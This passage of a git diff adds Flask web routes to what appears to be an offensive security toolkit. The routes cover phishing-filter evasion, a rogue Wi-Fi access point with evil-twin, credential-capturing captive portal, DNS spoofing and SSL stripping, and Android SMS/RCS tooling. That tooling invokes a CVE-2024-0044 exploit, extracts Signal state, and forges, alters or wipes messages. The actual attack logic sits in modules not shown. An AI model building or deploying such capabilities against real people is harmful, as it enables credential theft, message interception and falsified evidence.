||||
# ── Evasion Preview ──────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/evasion/preview', methods=['POST'])
|
||||
@login_required
|
||||
def evasion_preview():
|
||||
data = request.get_json(silent=True) or {}
|
||||
text = data.get('text', '')
|
||||
mode = data.get('mode', 'homoglyph')
|
||||
from modules.phishmail import EmailEvasion
|
||||
ev = EmailEvasion()
|
||||
if mode == 'homoglyph':
|
||||
result = ev.homoglyph_text(text)
|
||||
elif mode == 'zero_width':
|
||||
result = ev.zero_width_insert(text)
|
||||
elif mode == 'html_entity':
|
||||
result = ev.html_entity_encode(text)
|
||||
elif mode == 'random_headers':
|
||||
result = ev.randomize_headers()
|
||||
return jsonify({'ok': True, 'headers': result})
|
||||
else:
|
||||
result = text
|
||||
return jsonify({'ok': True, 'result': result})
|
||||
187
web/routes/pineapple.py
Normal file
187
web/routes/pineapple.py
Normal file
@@ -0,0 +1,187 @@
|
||||
"""WiFi Pineapple / Rogue AP routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template, make_response
|
||||
from web.auth import login_required
|
||||
|
||||
pineapple_bp = Blueprint('pineapple', __name__, url_prefix='/pineapple')
|
||||
|
||||
|
||||
def _get_ap():
|
||||
from modules.pineapple import get_pineapple
|
||||
return get_pineapple()
|
||||
|
||||
|
||||
@pineapple_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('pineapple.html')
|
||||
|
||||
|
||||
@pineapple_bp.route('/interfaces')
|
||||
@login_required
|
||||
def interfaces():
|
||||
return jsonify(_get_ap().get_interfaces())
|
||||
|
||||
|
||||
@pineapple_bp.route('/tools')
|
||||
@login_required
|
||||
def tools_status():
|
||||
return jsonify(_get_ap().get_tools_status())
|
||||
|
||||
|
||||
@pineapple_bp.route('/start', methods=['POST'])
|
||||
@login_required
|
||||
def start_ap():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_ap().start_rogue_ap(
|
||||
ssid=data.get('ssid', ''),
|
||||
interface=data.get('interface', ''),
|
||||
channel=data.get('channel', 6),
|
||||
encryption=data.get('encryption', 'open'),
|
||||
password=data.get('password'),
|
||||
internet_interface=data.get('internet_interface')
|
||||
))
|
||||
|
||||
|
||||
@pineapple_bp.route('/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop_ap():
|
||||
return jsonify(_get_ap().stop_rogue_ap())
|
||||
|
||||
|
||||
@pineapple_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_ap().get_status())
|
||||
|
||||
|
||||
@pineapple_bp.route('/evil-twin', methods=['POST'])
|
||||
@login_required
|
||||
def evil_twin():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_ap().evil_twin(
|
||||
target_ssid=data.get('target_ssid', ''),
|
||||
target_bssid=data.get('target_bssid', ''),
|
||||
interface=data.get('interface', ''),
|
||||
internet_interface=data.get('internet_interface')
|
||||
))
|
||||
|
||||
|
||||
@pineapple_bp.route('/portal/start', methods=['POST'])
|
||||
@login_required
|
||||
def portal_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_ap().start_captive_portal(
|
||||
portal_type=data.get('type', 'hotel_wifi'),
|
||||
custom_html=data.get('custom_html')
|
||||
))
|
||||
|
||||
|
||||
@pineapple_bp.route('/portal/stop', methods=['POST'])
|
||||
@login_required
|
||||
def portal_stop():
|
||||
return jsonify(_get_ap().stop_captive_portal())
|
||||
|
||||
|
||||
@pineapple_bp.route('/portal/captures')
|
||||
@login_required
|
||||
def portal_captures():
|
||||
return jsonify(_get_ap().get_portal_captures())
|
||||
|
||||
|
||||
@pineapple_bp.route('/portal/capture', methods=['POST'])
|
||||
def portal_capture():
|
||||
"""Receive credentials from captive portal form submission (no auth required)."""
|
||||
ap = _get_ap()
|
||||
# Accept both form-encoded and JSON
|
||||
if request.is_json:
|
||||
data = request.get_json(silent=True) or {}
|
||||
else:
|
||||
data = dict(request.form)
|
||||
data['ip'] = request.remote_addr
|
||||
data['user_agent'] = request.headers.get('User-Agent', '')
|
||||
ap.capture_portal_creds(data)
|
||||
# Return the success page
|
||||
html = ap.get_portal_success_html()
|
||||
return make_response(html, 200)
|
||||
|
||||
|
||||
@pineapple_bp.route('/portal/page')
|
||||
def portal_page():
|
||||
"""Serve the captive portal HTML page (no auth required)."""
|
||||
ap = _get_ap()
|
||||
html = ap.get_portal_html()
|
||||
return make_response(html, 200)
|
||||
|
||||
|
||||
@pineapple_bp.route('/karma/start', methods=['POST'])
|
||||
@login_required
|
||||
def karma_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_ap().enable_karma(data.get('interface')))
|
||||
|
||||
|
||||
@pineapple_bp.route('/karma/stop', methods=['POST'])
|
||||
@login_required
|
||||
def karma_stop():
|
||||
return jsonify(_get_ap().disable_karma())
|
||||
|
||||
|
||||
@pineapple_bp.route('/clients')
|
||||
@login_required
|
||||
def clients():
|
||||
return jsonify(_get_ap().get_clients())
|
||||
|
||||
|
||||
@pineapple_bp.route('/clients/<mac>/kick', methods=['POST'])
|
||||
@login_required
|
||||
def kick_client(mac):
|
||||
return jsonify(_get_ap().kick_client(mac))
|
||||
|
||||
|
||||
@pineapple_bp.route('/dns-spoof', methods=['POST'])
|
||||
@login_required
|
||||
def dns_spoof_enable():
|
||||
data = request.get_json(silent=True) or {}
|
||||
spoofs = data.get('spoofs', {})
|
||||
return jsonify(_get_ap().enable_dns_spoof(spoofs))
|
||||
|
||||
|
||||
@pineapple_bp.route('/dns-spoof', methods=['DELETE'])
|
||||
@login_required
|
||||
def dns_spoof_disable():
|
||||
return jsonify(_get_ap().disable_dns_spoof())
|
||||
|
||||
|
||||
@pineapple_bp.route('/ssl-strip/start', methods=['POST'])
|
||||
@login_required
|
||||
def ssl_strip_start():
|
||||
return jsonify(_get_ap().enable_ssl_strip())
|
||||
|
||||
|
||||
@pineapple_bp.route('/ssl-strip/stop', methods=['POST'])
|
||||
@login_required
|
||||
def ssl_strip_stop():
|
||||
return jsonify(_get_ap().disable_ssl_strip())
|
||||
|
||||
|
||||
@pineapple_bp.route('/traffic')
|
||||
@login_required
|
||||
def traffic():
|
||||
return jsonify(_get_ap().get_traffic_stats())
|
||||
|
||||
|
||||
@pineapple_bp.route('/sniff/start', methods=['POST'])
|
||||
@login_required
|
||||
def sniff_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_ap().sniff_traffic(
|
||||
interface=data.get('interface'),
|
||||
filter_expr=data.get('filter'),
|
||||
duration=data.get('duration', 60)
|
||||
))
|
||||
|
||||
|
||||
@pineapple_bp.route('/sniff/stop', methods=['POST'])
|
||||
@login_required
|
||||
def sniff_stop():
|
||||
return jsonify(_get_ap().stop_sniff())
|
||||
617
web/routes/rcs_tools.py
Normal file
617
web/routes/rcs_tools.py
Normal file
@@ -0,0 +1,617 @@
|
||||
"""RCS/SMS Exploitation routes — complete API for the RCS Tools page."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
rcs_tools_bp = Blueprint('rcs_tools', __name__, url_prefix='/rcs-tools')
|
||||
|
||||
_rcs = None
|
||||
|
||||
|
||||
def _get_rcs():
|
||||
global _rcs
|
||||
if _rcs is None:
|
||||
from modules.rcs_tools import get_rcs_tools
|
||||
_rcs = get_rcs_tools()
|
||||
return _rcs
|
||||
|
||||
|
||||
# ── Pages ────────────────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('rcs_tools.html')
|
||||
|
||||
|
||||
# ── Status / Device ─────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_rcs().get_status())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/device')
|
||||
@login_required
|
||||
def device():
|
||||
return jsonify(_get_rcs().get_device_info())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/shizuku')
|
||||
@login_required
|
||||
def shizuku():
|
||||
return jsonify(_get_rcs().check_shizuku_status())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon')
|
||||
@login_required
|
||||
def archon():
|
||||
return jsonify(_get_rcs().check_archon_installed())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/security-patch')
|
||||
@login_required
|
||||
def security_patch():
|
||||
return jsonify(_get_rcs().get_security_patch_level())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/set-default', methods=['POST'])
|
||||
@login_required
|
||||
def set_default():
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '')
|
||||
if not package:
|
||||
return jsonify({'ok': False, 'error': 'Missing package name'})
|
||||
return jsonify(_get_rcs().set_default_sms_app(package))
|
||||
|
||||
|
||||
# ── IMS/RCS Diagnostics ────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/ims-status')
|
||||
@login_required
|
||||
def ims_status():
|
||||
return jsonify(_get_rcs().get_ims_status())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/carrier-config')
|
||||
@login_required
|
||||
def carrier_config():
|
||||
return jsonify(_get_rcs().get_carrier_config())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-state')
|
||||
@login_required
|
||||
def rcs_state():
|
||||
return jsonify(_get_rcs().get_rcs_registration_state())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/enable-logging', methods=['POST'])
|
||||
@login_required
|
||||
def enable_logging():
|
||||
return jsonify(_get_rcs().enable_verbose_logging())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/capture-logs', methods=['POST'])
|
||||
@login_required
|
||||
def capture_logs():
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 10))
|
||||
return jsonify(_get_rcs().capture_rcs_logs(duration))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/pixel-diagnostics')
|
||||
@login_required
|
||||
def pixel_diagnostics():
|
||||
return jsonify(_get_rcs().pixel_diagnostics())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/debug-menu')
|
||||
@login_required
|
||||
def debug_menu():
|
||||
return jsonify(_get_rcs().enable_debug_menu())
|
||||
|
||||
|
||||
# ── Content Provider Extraction ─────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/conversations')
|
||||
@login_required
|
||||
def conversations():
|
||||
convos = _get_rcs().read_conversations()
|
||||
return jsonify({'ok': True, 'conversations': convos, 'count': len(convos)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/messages')
|
||||
@login_required
|
||||
def messages():
|
||||
rcs = _get_rcs()
|
||||
thread_id = request.args.get('thread_id')
|
||||
address = request.args.get('address')
|
||||
keyword = request.args.get('keyword')
|
||||
limit = int(request.args.get('limit', 200))
|
||||
|
||||
if thread_id:
|
||||
msgs = rcs.get_thread_messages(int(thread_id), limit=limit)
|
||||
elif address:
|
||||
msgs = rcs.get_messages_by_address(address, limit=limit)
|
||||
elif keyword:
|
||||
msgs = rcs.search_messages(keyword, limit=limit)
|
||||
else:
|
||||
msgs = rcs.read_sms_database(limit=limit)
|
||||
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/sms-inbox')
|
||||
@login_required
|
||||
def sms_inbox():
|
||||
msgs = _get_rcs().read_sms_inbox()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/sms-sent')
|
||||
@login_required
|
||||
def sms_sent():
|
||||
msgs = _get_rcs().read_sms_sent()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/mms')
|
||||
@login_required
|
||||
def mms():
|
||||
msgs = _get_rcs().read_mms_database()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/drafts')
|
||||
@login_required
|
||||
def drafts():
|
||||
msgs = _get_rcs().read_draft_messages()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/undelivered')
|
||||
@login_required
|
||||
def undelivered():
|
||||
msgs = _get_rcs().read_undelivered_messages()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-provider')
|
||||
@login_required
|
||||
def rcs_provider():
|
||||
return jsonify(_get_rcs().read_rcs_provider())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-messages')
|
||||
@login_required
|
||||
def rcs_messages():
|
||||
thread_id = request.args.get('thread_id')
|
||||
tid = int(thread_id) if thread_id else None
|
||||
msgs = _get_rcs().read_rcs_messages(tid)
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-participants')
|
||||
@login_required
|
||||
def rcs_participants():
|
||||
p = _get_rcs().read_rcs_participants()
|
||||
return jsonify({'ok': True, 'participants': p, 'count': len(p)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-file-transfers/<int:thread_id>')
|
||||
@login_required
|
||||
def rcs_file_transfers(thread_id):
|
||||
ft = _get_rcs().read_rcs_file_transfers(thread_id)
|
||||
return jsonify({'ok': True, 'file_transfers': ft, 'count': len(ft)})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/enumerate-providers', methods=['POST'])
|
||||
@login_required
|
||||
def enumerate_providers():
|
||||
return jsonify(_get_rcs().enumerate_providers())
|
||||
|
||||
|
||||
# ── bugle_db Extraction ─────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/extract-bugle', methods=['POST'])
|
||||
@login_required
|
||||
def extract_bugle():
|
||||
return jsonify(_get_rcs().extract_bugle_db())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/query-bugle', methods=['POST'])
|
||||
@login_required
|
||||
def query_bugle():
|
||||
data = request.get_json(silent=True) or {}
|
||||
sql = data.get('sql', '')
|
||||
if not sql:
|
||||
return jsonify({'ok': False, 'error': 'No SQL query provided'})
|
||||
return jsonify(_get_rcs().query_bugle_db(sql))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extract-rcs-bugle', methods=['POST'])
|
||||
@login_required
|
||||
def extract_rcs_bugle():
|
||||
return jsonify(_get_rcs().extract_rcs_from_bugle())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extract-conversations-bugle', methods=['POST'])
|
||||
@login_required
|
||||
def extract_conversations_bugle():
|
||||
return jsonify(_get_rcs().extract_conversations_from_bugle())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extract-edits', methods=['POST'])
|
||||
@login_required
|
||||
def extract_edits():
|
||||
return jsonify(_get_rcs().extract_message_edits())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extract-all-bugle', methods=['POST'])
|
||||
@login_required
|
||||
def extract_all_bugle():
|
||||
return jsonify(_get_rcs().extract_all_from_bugle())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extracted-dbs')
|
||||
@login_required
|
||||
def extracted_dbs():
|
||||
return jsonify(_get_rcs().list_extracted_dbs())
|
||||
|
||||
|
||||
# ── CVE-2024-0044 Exploit ──────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/cve-check')
|
||||
@login_required
|
||||
def cve_check():
|
||||
return jsonify(_get_rcs().check_cve_2024_0044())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/cve-exploit', methods=['POST'])
|
||||
@login_required
|
||||
def cve_exploit():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target_package', 'com.google.android.apps.messaging')
|
||||
return jsonify(_get_rcs().exploit_cve_2024_0044(target))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/cve-cleanup', methods=['POST'])
|
||||
@login_required
|
||||
def cve_cleanup():
|
||||
return jsonify(_get_rcs().cleanup_cve_exploit())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/signal-state', methods=['POST'])
|
||||
@login_required
|
||||
def signal_state():
|
||||
return jsonify(_get_rcs().extract_signal_protocol_state())
|
||||
|
||||
|
||||
# ── Export / Backup ──────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/export', methods=['POST'])
|
||||
@login_required
|
||||
def export():
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address') or None
|
||||
fmt = data.get('format', 'json')
|
||||
return jsonify(_get_rcs().export_messages(address=address, fmt=fmt))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/backup', methods=['POST'])
|
||||
@login_required
|
||||
def backup():
|
||||
data = request.get_json(silent=True) or {}
|
||||
fmt = data.get('format', 'json')
|
||||
return jsonify(_get_rcs().full_backup(fmt))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/restore', methods=['POST'])
|
||||
@login_required
|
||||
def restore():
|
||||
data = request.get_json(silent=True) or {}
|
||||
path = data.get('path', '')
|
||||
if not path:
|
||||
return jsonify({'ok': False, 'error': 'Missing backup path'})
|
||||
return jsonify(_get_rcs().full_restore(path))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/clone', methods=['POST'])
|
||||
@login_required
|
||||
def clone():
|
||||
return jsonify(_get_rcs().clone_to_device())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/backups')
|
||||
@login_required
|
||||
def list_backups():
|
||||
return jsonify(_get_rcs().list_backups())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/exports')
|
||||
@login_required
|
||||
def list_exports():
|
||||
return jsonify(_get_rcs().list_exports())
|
||||
|
||||
|
||||
# ── Forging ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/forge', methods=['POST'])
|
||||
@login_required
|
||||
def forge():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_rcs().forge_sms(
|
||||
address=data.get('address', ''),
|
||||
body=data.get('body', ''),
|
||||
msg_type=int(data.get('type', 1)),
|
||||
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
contact_name=data.get('contact_name'),
|
||||
read=int(data.get('read', 1)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/forge-mms', methods=['POST'])
|
||||
@login_required
|
||||
def forge_mms():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_rcs().forge_mms(
|
||||
address=data.get('address', ''),
|
||||
subject=data.get('subject', ''),
|
||||
body=data.get('body', ''),
|
||||
msg_box=int(data.get('msg_box', 1)),
|
||||
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/forge-rcs', methods=['POST'])
|
||||
@login_required
|
||||
def forge_rcs():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_rcs().forge_rcs(
|
||||
address=data.get('address', ''),
|
||||
body=data.get('body', ''),
|
||||
msg_type=int(data.get('type', 1)),
|
||||
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/forge-conversation', methods=['POST'])
|
||||
@login_required
|
||||
def forge_conversation():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_rcs().forge_conversation(
|
||||
address=data.get('address', ''),
|
||||
messages=data.get('messages', []),
|
||||
contact_name=data.get('contact_name'),
|
||||
))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/bulk-forge', methods=['POST'])
|
||||
@login_required
|
||||
def bulk_forge():
|
||||
data = request.get_json(silent=True) or {}
|
||||
msgs = data.get('messages', [])
|
||||
if not msgs:
|
||||
return jsonify({'ok': False, 'error': 'No messages provided'})
|
||||
return jsonify(_get_rcs().bulk_forge(msgs))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/import-xml', methods=['POST'])
|
||||
@login_required
|
||||
def import_xml():
|
||||
data = request.get_json(silent=True) or {}
|
||||
xml = data.get('xml', '')
|
||||
if not xml:
|
||||
return jsonify({'ok': False, 'error': 'No XML content provided'})
|
||||
return jsonify(_get_rcs().import_sms_backup_xml(xml))
|
||||
|
||||
|
||||
# ── Modification ─────────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/message/<int:msg_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def modify_message(msg_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_rcs().modify_message(
|
||||
msg_id=msg_id,
|
||||
new_body=data.get('body'),
|
||||
new_timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
new_type=int(data['type']) if data.get('type') else None,
|
||||
new_read=int(data['read']) if data.get('read') is not None else None,
|
||||
))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/message/<int:msg_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_message(msg_id):
|
||||
return jsonify(_get_rcs().delete_message(msg_id))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/conversation/<int:thread_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_conversation(thread_id):
|
||||
return jsonify(_get_rcs().delete_conversation(thread_id))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/shift-timestamps', methods=['POST'])
|
||||
@login_required
|
||||
def shift_timestamps():
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '')
|
||||
offset = int(data.get('offset_minutes', 0))
|
||||
if not address:
|
||||
return jsonify({'ok': False, 'error': 'Missing address'})
|
||||
return jsonify(_get_rcs().shift_timestamps(address, offset))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/change-sender', methods=['POST'])
|
||||
@login_required
|
||||
def change_sender():
|
||||
data = request.get_json(silent=True) or {}
|
||||
msg_id = int(data.get('msg_id', 0))
|
||||
new_address = data.get('new_address', '')
|
||||
if not msg_id or not new_address:
|
||||
return jsonify({'ok': False, 'error': 'Missing msg_id or new_address'})
|
||||
return jsonify(_get_rcs().change_sender(msg_id, new_address))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/mark-read', methods=['POST'])
|
||||
@login_required
|
||||
def mark_read():
|
||||
data = request.get_json(silent=True) or {}
|
||||
thread_id = data.get('thread_id')
|
||||
tid = int(thread_id) if thread_id else None
|
||||
return jsonify(_get_rcs().mark_all_read(tid))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/wipe-thread', methods=['POST'])
|
||||
@login_required
|
||||
def wipe_thread():
|
||||
data = request.get_json(silent=True) or {}
|
||||
thread_id = int(data.get('thread_id', 0))
|
||||
if not thread_id:
|
||||
return jsonify({'ok': False, 'error': 'Missing thread_id'})
|
||||
return jsonify(_get_rcs().wipe_thread(thread_id))
|
||||
|
||||
|
||||
# ── RCS Exploitation ────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/rcs-features/<address>')
|
||||
@login_required
|
||||
def rcs_features(address):
|
||||
return jsonify(_get_rcs().read_rcs_features(address))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-spoof-read', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_spoof_read():
|
||||
data = request.get_json(silent=True) or {}
|
||||
msg_id = data.get('msg_id', '')
|
||||
if not msg_id:
|
||||
return jsonify({'ok': False, 'error': 'Missing msg_id'})
|
||||
return jsonify(_get_rcs().spoof_rcs_read_receipt(str(msg_id)))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/rcs-spoof-typing', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_spoof_typing():
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '')
|
||||
if not address:
|
||||
return jsonify({'ok': False, 'error': 'Missing address'})
|
||||
return jsonify(_get_rcs().spoof_rcs_typing(address))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/clone-identity', methods=['POST'])
|
||||
@login_required
|
||||
def clone_identity():
|
||||
return jsonify(_get_rcs().clone_rcs_identity())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/extract-media', methods=['POST'])
|
||||
@login_required
|
||||
def extract_media():
|
||||
data = request.get_json(silent=True) or {}
|
||||
msg_id = data.get('msg_id', '')
|
||||
if not msg_id:
|
||||
return jsonify({'ok': False, 'error': 'Missing msg_id'})
|
||||
return jsonify(_get_rcs().extract_rcs_media(str(msg_id)))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/intercept-archival', methods=['POST'])
|
||||
@login_required
|
||||
def intercept_archival():
|
||||
return jsonify(_get_rcs().intercept_archival_broadcast())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/cve-database')
|
||||
@login_required
|
||||
def cve_database():
|
||||
return jsonify(_get_rcs().get_rcs_cve_database())
|
||||
|
||||
|
||||
# ── SMS/RCS Monitor ─────────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/monitor/start', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_start():
|
||||
return jsonify(_get_rcs().start_sms_monitor())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/monitor/stop', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_stop():
|
||||
return jsonify(_get_rcs().stop_sms_monitor())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/monitor/messages')
|
||||
@login_required
|
||||
def monitor_messages():
|
||||
return jsonify(_get_rcs().get_intercepted_messages())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/monitor/clear', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_clear():
|
||||
return jsonify(_get_rcs().clear_intercepted())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/forged-log')
|
||||
@login_required
|
||||
def forged_log():
|
||||
return jsonify({'ok': True, 'log': _get_rcs().get_forged_log()})
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/forged-log/clear', methods=['POST'])
|
||||
@login_required
|
||||
def clear_forged_log():
|
||||
return jsonify(_get_rcs().clear_forged_log())
|
||||
|
||||
|
||||
# ── Archon Integration ──────────────────────────────────────────────────────
|
||||
|
||||
@rcs_tools_bp.route('/archon/extract', methods=['POST'])
|
||||
@login_required
|
||||
def archon_extract():
|
||||
return jsonify(_get_rcs().archon_extract_bugle())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon/forge-rcs', methods=['POST'])
|
||||
@login_required
|
||||
def archon_forge_rcs():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_rcs().archon_forge_rcs(
|
||||
address=data.get('address', ''),
|
||||
body=data.get('body', ''),
|
||||
direction=data.get('direction', 'incoming'),
|
||||
))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon/modify-rcs', methods=['POST'])
|
||||
@login_required
|
||||
def archon_modify_rcs():
|
||||
data = request.get_json(silent=True) or {}
|
||||
msg_id = int(data.get('msg_id', 0))
|
||||
body = data.get('body', '')
|
||||
if not msg_id or not body:
|
||||
return jsonify({'ok': False, 'error': 'Missing msg_id or body'})
|
||||
return jsonify(_get_rcs().archon_modify_rcs(msg_id, body))
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon/threads')
|
||||
@login_required
|
||||
def archon_threads():
|
||||
return jsonify(_get_rcs().archon_get_rcs_threads())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon/backup', methods=['POST'])
|
||||
@login_required
|
||||
def archon_backup():
|
||||
return jsonify(_get_rcs().archon_backup_all())
|
||||
|
||||
|
||||
@rcs_tools_bp.route('/archon/set-default', methods=['POST'])
|
||||
@login_required
|
||||
def archon_set_default():
|
||||
return jsonify(_get_rcs().archon_set_default_sms())
|
||||
108
web/routes/report_engine.py
Normal file
108
web/routes/report_engine.py
Normal file
@@ -0,0 +1,108 @@
|
||||
"""Reporting Engine — web routes for pentest report management."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
report_engine_bp = Blueprint('report_engine', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.report_engine import get_report_engine
|
||||
return get_report_engine()
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('report_engine.html')
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/list', methods=['GET'])
|
||||
@login_required
|
||||
def list_reports():
|
||||
return jsonify({'ok': True, 'reports': _svc().list_reports()})
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/create', methods=['POST'])
|
||||
@login_required
|
||||
def create_report():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_svc().create_report(
|
||||
title=data.get('title', 'Untitled Report'),
|
||||
client=data.get('client', ''),
|
||||
scope=data.get('scope', ''),
|
||||
methodology=data.get('methodology', ''),
|
||||
))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>', methods=['GET'])
|
||||
@login_required
|
||||
def get_report(report_id):
|
||||
r = _svc().get_report(report_id)
|
||||
if not r:
|
||||
return jsonify({'ok': False, 'error': 'Report not found'})
|
||||
return jsonify({'ok': True, 'report': r})
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def update_report(report_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_svc().update_report(report_id, data))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_report(report_id):
|
||||
return jsonify(_svc().delete_report(report_id))
|
||||
|
||||
|
||||
@report_engine_bp.route('/reports/<report_id>/findings', methods=['POST'])
|
||||
@login_required
|
||||
def add_finding(report_id):
|
||||
data = request.get_json(silent=True) or {}
